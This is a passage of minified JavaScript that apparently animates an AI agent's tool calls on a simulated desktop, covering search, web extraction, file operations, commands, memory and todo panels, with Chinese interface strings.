0:e.arguments)==null?void 0:I.new)===!0,l=((P=e==null?void 0:e.arguments)==null?void 0:P.session_name)||((L=e==null?void 0:e.arguments)==null?void 0:L.session)||((E=e==null?void 0:e.arguments)==null?void 0:E.name)||((R=e==null?void 0:e.arguments)==null?void 0:R.title)||((_=e==null?void 0:e.result)==null?void 0:_.session)||((A=e==null?void 0:e.result)==null?void 0:A.name)||(e==null?void 0:e.title)||null,c=this.resolveSessionMeta(e,{persist:!0,createIfMissing:n,forceNewIfAbsent:i||o,preferExisting:!(i||o||l)});let a=c.sessionId;const m=i||o||!a||!this.terminalSessions.has(a),d=this.getTerminalInstance(),w=this.isWindowVisible(d.element);w?this.showWindow(d.element):await this.revealTerminalWindow(d);let p=!1;if(m&&this.elements.terminalAddButton?(await this.movePointerToElement(this.elements.terminalAddButton,{duration:520}),await this.click(),a=this.createSession(c.title,c.rawName||void 0),p=!0):a&&this.ensureSessionRecord(a,c.title,c.rawName||void 0),!a&&this.terminalSessions.size&&(a=Array.from(this.terminalSessions.keys())[0]),a||(a=this.createSession(c.title,c.rawName||void 0),p=!0),r&&(p||this.activeTerminalSessionId!==a)){const H=this.getTabElement(a);H&&(await this.movePointerToElement(H,{duration:420}),await this.click())}let x=null;return r?(this.activateSession(a),x=this.elements.terminalBody.lastElementChild,s&&x&&(await this.movePointerToElement(x,{duration:520,offsetX:-6}),await this.click())):this.renderTerminalTabs(),{sessionId:a,title:c.title,instance:this.getTerminalInstance(),prompt:x,created:p,reopened:!w}}scrollPromptIntoView(e){e.bodyEl&&(e.bodyEl.scrollTop=e.bodyEl.scrollHeight)}sanitizeTerminalOutput(e){const t=/^root@[\w.-]+:.*[#$]\s*/;return e.map(s=>s==null?"":String(s)).filter(s=>!t.test(s.trim())).map(s=>s.replace(/\r$/,""))}resolveSessionMeta(e,{persist:t=!1,createIfMissing:s=!1,forceNewIfAbsent:n=!1,preferExisting:i=!0}={}){var d,w,p,x,b,k,S,I,P,L,E;const o=[(d=e==null?void 0:e.arguments)==null?void 0:d.session_name,(w=e==null?void 0:e.arguments)==null?void 0:w.session,(p=e==null?void 0:e.arguments)==null?void 0:p.name,(x=e==null?void 0:e.arguments)==null?void 0:x.title,(b=e==null?void 0:e.result)==null?void 0:b.session,(k=e==null?void 0:e.result)==null?void 0:k.session_name,(S=e==null?void 0:e.result)==null?void 0:S.name,(I=e==null?void 0:e.result)==null?void 0:I.title,e==null?void 0:e.name,e==null?void 0:e.title].filter(Boolean).find(Boolean)||null;let c=((P=e==null?void 0:e.arguments)==null?void 0:P.session_id)||((L=e==null?void 0:e.arguments)==null?void 0:L.connection_id)||((E=e==null?void 0:e.result)==null?void 0:E.session_id)||(e==null?void 0:e.session_id)||null;const a=(o||"").trim()||null;!c&&a&&this.terminalRawNameMap.has(a)&&(c=this.terminalRawNameMap.get(a)),!c&&a&&this.terminalSessionTitleMap.has(a)&&(c=this.terminalSessionTitleMap.get(a)),i&&(!c&&this.activeTerminalSessionId&&(c=this.activeTerminalSessionId),!c&&this.lastTerminalSessionId&&(c=this.lastTerminalSessionId),!c&&this.terminalSessions.size&&(c=Array.from(this.terminalSessions.keys())[0]));let m;return c&&this.terminalSessionNames.has(c)?m=this.terminalSessionNames.get(c):m=(o||"").trim()||this.nextTerminalName(),!c&&(s||n)&&(c=this.generateNewSessionId()),t&&c&&(this.lastTerminalSessionId=c),a&&c&&(this.terminalSessionTitleMap.set(a,c),this.terminalRawNameMap.set(a,c)),{sessionId:c,title:m,rawName:o}}resolveExistingSessionId(e){var n,i,r,o,l,c,a,m;const s=([(n=e==null?void 0:e.arguments)==null?void 0:n.session_name,(i=e==null?void 0:e.arguments)==null?void 0:i.session,(r=e==null?void 0:e.arguments)==null?void 0:r.name,(o=e==null?void 0:e.arguments)==null?void 0:o.title,(l=e==null?void 0:e.result)==null?void 0:l.session,(c=e==null?void 0:e.result)==null?void 0:c.session_name,(a=e==null?void 0:e.result)==null?void 0:a.name,(m=e==null?void 0:e.result)==null?void 0:m.title,e==null?void 0:e.name,e==null?void 0:e.title].filter(Boolean).find(Boolean)||"").trim();if(s){if(this.terminalRawNameMap.has(s))return this.terminalRawNameMap.get(s);if(this.terminalSessionTitleMap.has(s))return this.terminalSessionTitleMap.get(s)}return this.activeTerminalSessionId?this.activeTerminalSessionId:this.lastTerminalSessionId?this.lastTerminalSessionId:this.terminalSessions.size?Array.from(this.terminalSessions.keys())[0]:null}nextExtractionId(){return`extract-${Date.now()}-${Math.random().toString(36).slice(2,6)}`}createDesktopFolderIcon(e){const t=document.createElement("div");t.className="desktop-icon",t.dataset.folderName=e;const s=document.createElement("img");s.src=this.assets.folderIcon,s.alt=e,t.appendChild(s);const n=document.createElement("span");return n.textContent=e,t.appendChild(n),t}hideAllWindows(){[this.elements.browserWindow,this.elements.extractionWindow,this.elements.folderWindow,this.elements.editorWindow,this.elements.terminalWindow,this.elements.readerWindow,this.elements.memoryWindow,this.elements.todoWindow,this.elements.waitWindow].forEach(e=>this.closeWindow(e,{animate:!1})),this.clearExtractionWindows(),this.clearTerminalSessions(),this.windowOrder=[],this.manualPositions.clear()}setupAnchors(){this.windowAnchors.set(this.elements.browserWindow,{x:.02,y:.02}),this.windowAnchors.set(this.elements.extractionWindow,{x:.6,y:.04}),this.windowAnchors.set(this.elements.folderWindow,{x:.68,y:.26}),this.windowAnchors.set(this.elements.editorWindow,{x:.62,y:.58}),this.windowAnchors.set(this.elements.terminalWindow,{x:.18,y:.42}),this.windowAnchors.set(this.elements.commandWindow,{x:.2,y:.7}),this.windowAnchors.set(this.elements.pythonWindow,{x:.52,y:.16}),this.windowAnchors.set(this.elements.readerWindow,{x:.42,y:.05}),this.windowAnchors.set(this.elements.memoryWindow,{x:.28,y:.32}),this.windowAnchors.set(this.elements.todoWindow,{x:.5,y:.32}),this.windowAnchors.set(this.elements.waitWindow,{x:.74,y:.24})}layoutFloatingWindows(){this.windowAnchors.forEach((e,t)=>this.positionWindow(t,e)),this.hideWaitOverlay()}positionWindow(e,t){if(!e)return;const s=e.offsetWidth,n=e.offsetHeight;if(!s||!n)return;if(this.manualPositions.has(e)){const w=this.manualPositions.get(e),{left:p,top:x}=this.clampWindowPosition(e,w.left,w.top);e.style.left=`${p}px`,e.style.top=`${x}px`,this.manualPositions.set(e,{left:p,top:x});return}const i=Math.max(0,this.elements.screen.clientWidth-U*2-s),r=Math.max(0,this.elements.screen.clientHeight-U-Z-U-n),o=U+i*t.x,l=Z+r*t.y,c=this.elements.screen.clientWidth-s-U,a=Math.max(Z,this.elements.screen.clientHeight-n-U),m=Math.min(Math.max(U,o),Math.max(U,c)),d=Math.min(Math.max(Z,l),a);e.style.left=`${m}px`,e.style.top=`${d}px`}setupScenes(){this.sceneHandlers.browserSearch=async(e,t)=>{var l,c,a;this.applySceneStatus(t,"browserSearch","正在搜索"),this.isWindowVisible(this.elements.browserWindow)||(await this.movePointerToApp("browser"),await this.click({count:2})),this.showWindow(this.elements.browserWindow),await u(400);const n=this.elements.browserSearchText.parentElement;n&&(await this.movePointerToElement(n,{offsetX:-40}),await this.click());const i=((l=e==null?void 0:e.arguments)==null?void 0:l.query)||((c=e==null?void 0:e.argumentSnapshot)==null?void 0:c.query)||"搜索内容";await this.typeSearchQuery(i),this.elements.browserStatus.textContent="正在搜索...";const r=await t.waitForResult(e.executionId||e.id);if(!this.ensureSuccessOrErrorBubble(r,e,"搜索失败"))return;const o=Array.isArray((a=r==null?void 0:r.result)==null?void 0:a.results)?r.result.results:[];this.renderSearchResults(o),this.elements.browserStatus.textContent=(r==null?void 0:r.status)==="completed"?"搜索完成,已加载结果":"搜索未完成",await u(320),await this.simulateResultBrowsing(),this.pushWindowToStack(this.elements.browserWindow)},this.sceneHandlers.webExtract=async(e,t)=>{var p,x,b,k,S,I,P,L,E,R,_;this.applySceneStatus(t,"webExtract","正在提取");const s=((p=e==null?void 0:e.arguments)==null?void 0:p.url)||((x=e==null?void 0:e.arguments)==null?void 0:x.target_url)||((b=e==null?void 0:e.result)==null?void 0:b.url)||((k=e==null?void 0:e.result)==null?void 0:k.source)||"";let n=!1;if(s){const A=await this.focusSearchResultByUrl(s);A&&(n=!0,this.showWindow(this.elements.browserWindow),await this.movePointerToElement(A,{duration:700}),await this.click({count:2}),setTimeout(()=>A.classList.remove("target"),800),await u(380))}if(!n){this.isWindowVisible(this.elements.browserWindow)||(await this.movePointerToApp("browser"),await this.click({count:2})),this.showWindow(this.elements.browserWindow);const H=this.elements.browserSearchText.parentElement;H&&(await u(240),await this.movePointerToElement(H,{offsetX:-40}),await this.click());const $=s||((S=e==null?void 0:e.arguments)==null?void 0:S.query)||((I=e==null?void 0:e.arguments)==null?void 0:I.title)||"https://example.com";await this.typeSearchQuery($),this.elements.browserStatus.textContent=s?"正在打开网页...":"正在搜索...",await u(900)}const i=String((e==null?void 0:e.executionId)||(e==null?void 0:e.id)||this.nextExtractionId()),r=this.ensureExtractionWindowInstance(i,{title:((P=e==null?void 0:e.arguments)==null?void 0:P.title)||((L=e==null?void 0:e.result)==null?void 0:L.title),url:s});this.showWindow(r.element);const o=s||((E=e==null?void 0:e.arguments)==null?void 0:E.url)||((R=e==null?void 0:e.result)==null?void 0:R.url)||((_=e==null?void 0:e.result)==null?void 0:_.source)||"";r.urlEl.textContent=o,r.stateEl.textContent="提取中...",r.stateEl.classList.remove("complete"),r.summaryEl.innerHTML="";let l=null;try{l=await t.waitForResult(e.executionId||e.id)}catch(A){console.warn("[MonitorDirector] webExtract waitForResult error",A)}if(!this.ensureSuccessOrErrorBubble(l,e,"网页提取失败"))return;const c=(l==null?void 0:l.result)??(e==null?void 0:e.result)??null,{hasContent:a,hasError:m}=this.renderExtractionSummary(r.summaryEl,c);(this.resolveExtractionStatus(l,e,c)||(m?"failed":a?"completed":null))==="failed"?(r.stateEl.textContent="提取失败",r.stateEl.classList.remove("complete")):(r.stateEl.textContent="提取完成",r.stateEl.classList.add("complete")),await u(400)},this.sceneHandlers.createFolder=async(e,t)=>{var c,a;this.applySceneStatus(t,"createFolder","正在创建文件夹"),this.lockDesktopRender();const s=((c=e==null?void 0:e.arguments)==null?void 0:c.path)||((a=e==null?void 0:e.arguments)==null?void 0:a.target_path)||"新建文件夹",n=this.normalizePathSegments(s),i=n.pop()||"新建文件夹",r=this.composePath(n),o=this.composePath([r,i].filter(Boolean));this.markPendingCreation(o);let l=null;try{let m=null;if(!n.length)m=this.folderIcons.get(i)||null;else{const b=this.composePath([r,i]);m=this.findFolderEntryElement(b)}m&&(m.style.opacity="0",m.classList.add("pending-reveal"));const d=t.waitForResult(e.executionId||e.id).catch(b=>(console.warn("[MonitorDirector] createFolder waitForResult error",b),null));if(n.length?await this.openFolderChain(n)&&(await this.movePointerToElement(this.elements.folderBody,{offsetX:40,offsetY:40,duration:720}),await this.click({right:!0}),this.showContextMenu("folder"),await u(200),await this.highlightMenu("folder","folder"),await this.click(),this.hideContextMenus()):(await this.movePointerToDesktop(),await this.click({right:!0}),this.showContextMenu("desktop"),await u(240),await this.highlightMenu("desktop","folder"),await this.click(),this.hideContextMenus()),l=await d,!this.ensureSuccessOrErrorBubble(l,e,"创建文件夹失败"))return;const w=this.resolveResultPath(l,s);this.releasePendingCreation(w);const p=this.normalizePathSegments(w),x=p.pop()||i;if(p.length){const b=this.composePath(p);this.upsertFolderEntry(b,{name:x,type:"folder"}),await this.openFolder(b,b);const k=this.composePath([b,x]),S=this.findFolderEntryElement(k);S&&(S.classList.add("visible"),S.style.opacity="1")}else{this.ensureFolderKey(x),this.desktopRoots.includes(x)||this.desktopRoots.push(x),this.setDesktopRoots(this.desktopRoots,{immediate:!0});const b=await this.revealDesktopFolderIcon(x,{fallbackSpawn:!0});b&&(b.style.opacity="1",await this.movePointerToElement(b,{duration:420}))}await u(600)}finally{this.releasePendingCreation(o),this.unlockDesktopRender()}},this.sceneHandlers.createFile=async(e,t)=>{var c,a;this.applySceneStatus(t,"createFile","正在创建文件"),this.lockDesktopRender();const s=((c=e==null?void 0:e.arguments)==null?void 0:c.path)||((a=e==null?void 0:e.arguments)==null?void 0:a.target_path)||"new-file.txt",n=this.normalizePathSegments(s),i=n.pop()||"新建文件",r=this.composePath(n),o=this.composePath([r,i].filter(Boolean));this.markPendingCreation(o);let l=null;try{let m=null;if(!n.length)m=this.fileIcons.get(i)||null;else{const b=this.composePath([r,i]);m=this.findFolderEntryElement(b)}m&&(m.style.opacity="0",m.classList.add("pending-reveal"));const d=t.waitForResult(e.executionId||e.id).catch(b=>(console.warn("[MonitorDirector] createFile waitForResult error",b),null));if(n.length?await this.openFolderChain(n)&&(await this.movePointerToElement(this.elements.folderBody,{offsetX:30,offsetY:20,duration:720}),await this.click({right:!0}),this.showContextMenu("folder"),await u(200),await this.highlightMenu("folder","file"),await this.click(),this.hideContextMenus()):(await this.movePointerToDesktop(),await this.click({right:!0}),this.showContextMenu("desktop"),await u(200),await this.highlightMenu("desktop","file"),await this.click(),this.hideContextMenus()),l=await d,!this.ensureSuccessOrErrorBubble(l,e,"创建文件失败"))return;const w=this.resolveResultPath(l,s);this.releasePendingCreation(w);const p=this.normalizePathSegments(w),x=p.pop()||i;if(p.length){const b=this.composePath(p);this.upsertFolderEntry(b,{name:x,type:"file"});const k=this.composePath([b,x]),S=this.findFolderEntryElement(k);S&&(S.classList.add("visible"),S.style.opacity="1")}else{let b=this.fileIcons.get(x);b||(b=this.spawnDesktopFile(x)),b&&(b.style.opacity="1",await this.movePointerToElement(b,{duration:520}))}await u(400)}finally{this.releasePendingCreation(o),this.unlockDesktopRender()}},this.sceneHandlers.renameFile=async(e,t)=>{var m,d,w,p,x,b,k,S,I,P,L,E,R,_,A,H,$;this.applySceneStatus(t,"renameFile","正在重命名"),this.lockDesktopRender();const s=((m=e==null?void 0:e.arguments)==null?void 0:m.path)||((d=e==null?void 0:e.arguments)==null?void 0:d.target_path)||((w=e==null?void 0:e.arguments)==null?void 0:w.old_path)||((p=e==null?void 0:e.arguments)==null?void 0:p.source_path)||((x=e==null?void 0:e.arguments)==null?void 0:x.from_path)||((b=e==null?void 0:e.argumentSnapshot)==null?void 0:b.old_path)||((k=e==null?void 0:e.argumentSnapshot)==null?void 0:k.path)||((S=e==null?void 0:e.result)==null?void 0:S.old_path)||((I=e==null?void 0:e.result)==null?void 0:I.path),n=((P=e==null?void 0:e.arguments)==null?void 0:P.new_path)||((L=e==null?void 0:e.arguments)==null?void 0:L.destination_path)||((E=e==null?void 0:e.arguments)==null?void 0:E.target_path)||((R=e==null?void 0:e.argumentSnapshot)==null?void 0:R.new_path)||((_=e==null?void 0:e.argumentSnapshot)==null?void 0:_.path)||((A=e==null?void 0:e.result)==null?void 0:A.new_path)||((H=e==null?void 0:e.result)==null?void 0:H.destination_path);if(Y("scene:start",{sourcePath:s,targetPath:n,status:e==null?void 0:e.status,resultStatus:($=e==null?void 0:e.result)==null?void 0:$.status}),!s||!n){await u(400),this.unlockDesktopRender();return}let i=null;try{i=await t.waitForResult(e.executionId||e.id)}catch(C){console.warn("[MonitorDirector] renameFile waitForResult error",C),i=null}if(!this.ensureSuccessOrErrorBubble(i,e,"重命名失败")){this.unlockDesktopRender();return}const r=this.normalizePathSegments(s),o=this.normalizePathSegments(n),l=r.pop()||"",c=o.pop()||"";Y("scene:resolved-names",{fromName:l,toName:c,sourceSegments:[...r],targetSegments:[...o]});const a=async()=>{if(this.showContextMenu("file"),await this.waitForMenuVisible(this.elements.fileMenu,240),!await this.highlightMenu("file","rename")){const B=this.elements.fileMenu.querySelector('button[data-action="rename"]');B&&(await this.movePointerToElement(B,{duration:300}),B.classList.add("active"),await u(180),B.classList.remove("active"))}await this.click(),this.hideContextMenus()};try{if(r.length){const C=await this.openFolderChain(r);if(C){const B=(this.folderEntries.get(C)||[]).find(q=>q.name===l),T=(B==null?void 0:B.type)||"file";this.upsertFolderEntry(C,{name:l,type:T},{animate:!1}),await this.openFolder(C,C),await u(40);const N=this.composePath([C,l]),z=this.findFolderEntryElement(N);Y("scene:folder-target",{entryPath:N,found:!!z}),z?(await this.movePointerToElement(z,{duration:620}),await this.click({right:!0}),await a(),await this.animateRenameLabel(z,c),Y("scene:folder-rename-animated",{entryPath:N,toName:c})):Y("scene:folder-missing-target",{entryPath:N}),this.renameFolderEntry(C,l,c,{skipRender:!0})}}else{const C=this.fileIcons.get(l)||this.folderIcons.get(l)||null;Y("scene:desktop-target",{fromName:l,found:!!C}),C?(await this.movePointerToElement(C,{duration:600}),await this.click({right:!0}),await a(),await this.animateRenameLabel(C,c),this.renameDesktopEntry(C,c),Y("scene:desktop-rename-animated",{fromName:l,toName:c}),this.fileIcons.has(l)&&(this.fileIcons.delete(l),this.fileIcons.set(c,C)),this.folderIcons.has(l)&&this.renameDesktopRoot(l,c,{skipRender:!0})):Y("scene:desktop-missing-target",{fromName:l})}await u(400)}catch(C){console.error("[MonitorRename] scene error",C)}finally{this.unlockDesktopRender()}},this.sceneHandlers.deleteFile=async(e,t)=>{var o,l;this.applySceneStatus(t,"deleteFile","正在删除文件");const s=((o=e==null?void 0:e.arguments)==null?void 0:o.path)||((l=e==null?void 0:e.arguments)==null?void 0:l.target_path),n=this.normalizePathSegments(s),i=n.pop();if(!i){await u(300);return}const r=async(c,a="file")=>{if(!c)return!1;if(await this.movePointerToElement(c,{duration:600}),await this.click({right:!0}),this.showContextMenu(a),await u(160),!await this.highlightMenu("file","delete")){const d=this.elements.fileMenu.querySelector('button[data-action="delete"]');d&&await this.movePointerToElement(d,{duration:320})}return await this.click(),this.hideContextMenus(),!0};if(n.length){const c=await this.openFolderChain(n);if(c){const a=(this.folderEntries.get(c)||[]).find(x=>x.name===i),m=(a==null?void 0:a.type)||"file";this.upsertFolderEntry(c,{name:i,type:m},{animate:!1}),await this.openFolder(c,c),await u(40);const d=this.composePath([c,i]),w=this.findFolderEntryElement(d);if(!await r(w,"file")){this.removeFolderEntry(c,i);return}w==null||w.classList.add("removing"),setTimeout(()=>this.removeFolderEntry(c,i),260)}}else{const c=this.fileIcons.get(i)||this.folderIcons.get(i);if(c&&(await r(c,"file"),c.classList.add("removing"),setTimeout(()=>c.remove(),320),this.fileIcons.delete(i),this.folderIcons.has(i))){this.folderIcons.delete(i),this.folderEntries.delete(i);const a=this.desktopRoots.indexOf(i);a>=0&&this.desktopRoots.splice(a,1)}}await u(400)},this.sceneHandlers.wait=async(e,t)=>{var r,o;this.applySceneStatus(t,"wait","正在等待");const s=Number(((r=e==null?void 0:e.arguments)==null?void 0:r.duration)||((o=e==null?void 0:e.arguments)==null?void 0:o.seconds)||(e==null?void 0:e.seconds)||(e==null?void 0:e.duration))||5;if(await this.movePointerToDesktop(),await this.click({right:!0}),this.showContextMenu("desktop"),await u(200),!await this.highlightMenu("desktop","wait")){const l=this.elements.desktopMenu.querySelector('button[data-action="wait"]');l&&await this.movePointerToElement(l,{duration:320})}await this.click(),this.hideContextMenus(),await u(140);const i=t.waitForResult(e.executionId||e.id).catch(()=>null);await this.playWaitCountdown(s,i)},this.sceneHandlers.appendFile=async(e,t)=>{var _,A,H,$,C,B,T,N,z,q,G;this.applySceneStatus(t,"appendFile","正在编辑");const s=((_=e==null?void 0:e.arguments)==null?void 0:_.path)||((A=e==null?void 0:e.argumentSnapshot)==null?void 0:A.path)||"file.txt",n=this.normalizePathSegments(s),i=n.pop()||"file.txt",o=typeof((H=e==null?void 0:e.monitor_snapshot)==null?void 0:H.path)=="string"&&e.monitor_snapshot.path||typeof(($=e==null?void 0:e.monitor_snapshot_after)==null?void 0:$.path)=="string"&&e.monitor_snapshot_after.path||null||this.composePath([...n,i]),l=o||s;if(D("scene:appendFile:start",{execution:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),path:s}),!this.isWindowVisible(this.elements.editorWindow)){const F=await this.revealFileTarget(s,{spawnDesktopFile:!0});F!=null&&F.element?await this.openFileMenuAction(F.element,"edit"):await this.movePointerToDesktop()}this.openEditorWindow(i),this.renderEditorPlaceholder("正在读取文件内容...");const a=this.resolveEditorBeforeLines(e),m=typeof((C=e==null?void 0:e.monitor_snapshot)==null?void 0:C.content)=="string"?e.monitor_snapshot.content:(B=e==null?void 0:e.monitor_snapshot)==null?void 0:B.before,d=this.normalizeLines(m);let w=null;const p=(e==null?void 0:e.executionId)||(e==null?void 0:e.execution_id)||(e==null?void 0:e.id);!d.length&&l&&(w=await this.fetchEditorFileLines(l));let x=a.length?a:d.length?d:w||[];if(!x.length&&p){const F=await this.fetchMonitorSnapshotById(p,"before");F!=null&&F.length&&(x=F)}!x.length&&o&&this.editorSnapshots.has(o)&&(x=this.editorSnapshots.get(o).slice()),D("scene:appendFile:beforeLines",{count:x.length,remote:!!(w!=null&&w.length)}),this.prepareEditorScene(x);const b=await t.waitForResult(e.executionId||e.id).catch(F=>(console.warn("[MonitorDirector] appendFile waitForResult error",F),null));if(!this.ensureSuccessOrErrorBubble(b,e,"文件编辑失败"))return;const k=this.resolveEditorAfterLines(e,b),S=typeof((T=b==null?void 0:b.monitor_snapshot_after)==null?void 0:T.content)=="string"?b.monitor_snapshot_after.content:typeof((N=e==null?void 0:e.monitor_snapshot_after)==null?void 0:N.content)=="string"?e.monitor_snapshot_after.content:(z=e==null?void 0:e.monitor_snapshot_after)==null?void 0:z.after,I=this.normalizeLines(S);let P=null;!I.length&&l&&(P=await this.fetchEditorFileLines(l));let L=k.length?k:I.length?I:P||[];if(!L.length&&p){const F=await this.fetchMonitorSnapshotById(p,"after");F!=null&&F.length&&(L=F)}!L.length&&o&&this.editorSnapshots.has(o)&&(L=this.editorSnapshots.get(o).slice());const E=this.normalizeLines(((q=e==null?void 0:e.arguments)==null?void 0:q.content)||((G=e==null?void 0:e.result)==null?void 0:G.content)||""),R=L.length?L:E;D("scene:appendFile:nextLines",{after:L.length,fallback:E.length,remote:!!(P!=null&&P.length)}),await u(260),await this.animateEditorTransition(R),o&&R.length&&this.editorSnapshots.set(o,R.slice(0,K)),await u(400)},this.sceneHandlers.modifyFile=this.sceneHandlers.appendFile,this.sceneHandlers.runCommand=async(e,t)=>{var c,a,m,d;const s=(e==null?void 0:e.name)||(e==null?void 0:e.tool)||"run_command";this.applySceneStatus(t,"runCommand",`调用 ${s}`);const n=((c=e==null?void 0:e.arguments)==null?void 0:c.command)||((a=e==null?void 0:e.result)==null?void 0:a.command)||'echo "Hello"';this.isWindowVisible(this.elements.commandWindow)?(this.showWindow(this.elements.commandWindow),await this.focusCommandInput(),this.elements.commandOutput&&(this.elements.commandOutput.innerHTML="")):await this.revealCommandWindow("命令行",{reset:!0,focusInput:!0}),await this.typeCommandText(n);const r=await t.waitForResult(e.executionId||e.id);if(!this.ensureSuccessOrErrorBubble(r,e,"命令执行失败"))return;const o=((m=r==null?void 0:r.result)==null?void 0:m.output)||((d=r==null?void 0:r.result)==null?void 0:d.stdout)||"命令执行完成",l=this.sanitizeTerminalOutput(typeof o=="string"?o.split(` +`):Array.isArray(o)?o.map(String):[String(o)]);this.appendCommandOutput(l.length?l:["命令执行完成"]),await u(500)},this.sceneHandlers.reader=async(e,t)=>{var m,d,w,p,x;const s=((m=e==null?void 0:e.arguments)==null?void 0:m.path)||((d=e==null?void 0:e.result)==null?void 0:d.path)||"文档",n=String(((w=e==null?void 0:e.arguments)==null?void 0:w.type)||((p=e==null?void 0:e.result)==null?void 0:p.type)||"read").toLowerCase(),i={search:"文件搜索",extract:"提取片段"};t.setStatus(i[n]||"正在阅读"),W("readerScene:start",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),targetPath:s,readMode:n}),await this.revealFileTarget(s,{doubleClick:!0,spawnDesktopFile:!0})||await this.movePointerToDesktop(),this.showWindow(this.elements.readerWindow),this.elements.readerTitle.textContent=s,this.renderReaderMessage("正在读取文件内容...");let o=null;try{o=await t.waitForResult(e.executionId||e.id),W("readerScene:waitForResult resolved",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),hasCompletion:!!o,status:o==null?void 0:o.status,keys:o?Object.keys(o):[]})}catch(b){console.warn("[MonitorDirector] reader waitForResult error",b)}if(!this.ensureSuccessOrErrorBubble(o,e,"阅读失败"))return;const{source:l,label:c}=this.resolveReaderPayload(e,o);W("readerScene:payload resolved",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),payloadSource:c,hasPayload:!!l});const a=l?this.extractReaderLines(l):[];if(W("readerScene:extracted lines",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),count:a.length}),a.length)this.renderReaderLines(l),W("readerScene:render lines",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),count:a.length});else{const b=(o==null?void 0:o.message)||((x=e==null?void 0:e.result)==null?void 0:x.message)||"未返回可显示内容";this.renderReaderMessage(b),W("readerScene:fallback message",{executionId:(e==null?void 0:e.executionId)||(e==null?void 0:e.id),fallbackMessage:b})}await u(500)},this.sceneHandlers.focus=async(e,t)=>{var o,l;this.applySceneStatus(t,"focus","正在聚焦文件");const s=((o=e==null?void 0:e.arguments)==null?void 0:o.path)||((l=e==null?void 0:e.result)==null?void 0:l.path)||"文件",n=await this.revealFileTarget(s,{spawnDesktopFile:!0});n!=null&&n.element?(await this.click({right:!0}),this.showContextMenu("focus"),await u(160),await this.highlightMenu("focus","focus"),await this.click(),this.hideContextMenus()):await this.movePointerToDesktop();const i=await t.waitForResult(e.executionId||e.id).catch(c=>(console.warn("[MonitorDirector] focus waitForResult error",c),null));if(!this.ensureSuccessOrErrorBubble(i,e,"聚焦文件失败"))return;this.showWindow(this.elements.readerWindow),this.elements.readerTitle.textContent=s,this.renderReaderMessage("正在加载文件内容...");let r=!1;if(i!=null&&i.result&&this.extractReaderLines(i.result).length&&(this.renderReaderLines(i.result),r=!0),!r&&s){const c=await this.fetchEditorFileLines(s);c!=null&&c.length&&(this.renderReaderLines(c),r=!0)}r||this.renderReaderMessage("文件已聚焦,可在右侧聚焦面板查看"),this.elements.readerWindow.classList.add("focused"),await u(400)},this.sceneHandlers.unfocus=async(e,t)=>{var i,r;this.applySceneStatus(t,"unfocus","正在处理");const s=((i=e==null?void 0:e.arguments)==null?void 0:i.path)||((r=e==null?void 0:e.result)==null?void 0:r.path)||"文件",n=await this.revealFileTarget(s,{spawnDesktopFile:!0});n!=null&&n.element?(await this.click({right:!0}),this.showContextMenu("focus"),await u(160),await this.highlightMenu("focus","unfocus"),await this.click(),this.hideContextMenus()):await this.movePointerToDesktop(),await t.waitForResult(e.executionId||e.id).catch(o=>(console.warn("[MonitorDirector] unfocus waitForResult error",o),null)),this.ensureSuccessOrErrorBubble(null,e,"取消聚焦失败")&&(this.showWindow(this.elements.readerWindow),this.elements.readerTitle.textContent=s,this.elements.readerWindow.classList.remove("focused"),this.renderReaderMessage("已取消聚焦"),await u(400))},this.sceneHandlers.ocr=async(e,t)=>{var i,r;await this.sceneHandlers.reader(e,t),this.applySceneStatus(t,"ocr","正在提取");const s=await t.waitForResult(e.executionId||e.id);if(!this.ensureSuccessOrErrorBubble(s,e,"OCR 失败"))return;const n=((i=s==null?void 0:s.result)==null?void 0:i.text)||((r=s==null?void 0:s.result)==null?void 0:r.lines)||[];this.renderReaderOcr(n),await u(400)},this.sceneHandlers.memoryUpdate=async(e,t)=>{var c,a,m,d,w,p,x,b;this.applySceneStatus(t,"memoryUpdate","正在同步记忆");const{entries:s,provided:n}=this.extractMemorySnapshotEntries(e,"before"),i=(((c=e==null?void 0:e.arguments)==null?void 0:c.memory_type)||((a=e==null?void 0:e.result)==null?void 0:a.memory_type)||"main").toString().toLowerCase();await this.ensureMemoryWindowVisible({initialEntries:s,snapshotProvided:n,memoryType:i});const r=(((m=e==null?void 0:e.arguments)==null?void 0:m.operation)||((d=e==null?void 0:e.result)==null?void 0:d.operation)||"append").toLowerCase(),o=((w=e==null?void 0:e.arguments)==null?void 0:w.content)||((p=e==null?void 0:e.result)==null?void 0:p.content)||"",l=Number(((x=e==null?void 0:e.arguments)==null?void 0:x.index)||((b=e==null?void 0:e.result)==null?void 0:b.index)||0)||0;r==="replace"?await this.animateMemoryReplace(l,o||""):r==="delete"?await this.animateMemoryDelete(l):await this.animateMemoryAppend(o||"新记忆"),this.updateMemoryMeta(),await u(360)},this.sceneHandlers.todoCreate=async(e,t)=>{var i,r,o,l,c;this.applySceneStatus(t,"todoCreate","正在更新待办");const s=((i=e==null?void 0:e.arguments)==null?void 0:i.summary)||((r=e==null?void 0:e.arguments)==null?void 0:r.overview)||((o=e==null?void 0:e.arguments)==null?void 0:o.title)||((l=e==null?void 0:e.arguments)==null?void 0:l.task)||"待办摘要",n=this.normalizeTodoTasks(((c=e==null?void 0:e.arguments)==null?void 0:c.tasks)||s);await this.ensureTodoWindowVisible(),this.resetTodoBoard({summary:!0,list:!0}),await this.typeTodoSummary(s);for(const a of n)await this.animateTodoAppend(a,{scrollIntoView:!1});this.elements.todoList&&(this.elements.todoList.scrollTop=0),await u(320)},this.sceneHandlers.todoUpdate=async(e,t)=>{var r,o,l,c,a,m,d;this.applySceneStatus(t,"todoUpdate","正在调整待办"),await this.ensureTodoWindowVisible();const s=((r=e==null?void 0:e.arguments)==null?void 0:r.title)||((o=e==null?void 0:e.arguments)==null?void 0:o.task)||null,n=Number(((l=e==null?void 0:e.arguments)==null?void 0:l.task_index)||((c=e==null?void 0:e.arguments)==null?void 0:c.index)||0)||null,i=((a=e==null?void 0:e.arguments)==null?void 0:a.completed)??((m=e==null?void 0:e.arguments)==null?void 0:m.done)??((d=e==null?void 0:e.arguments)==null?void 0:d.checked)??!0;await this.toggleTodoItem(s,!!i,n),await u(260)},this.sceneHandlers.todoFinish=async(e,t)=>{this.applySceneStatus(t,"todoFinish","正在完成任务");const 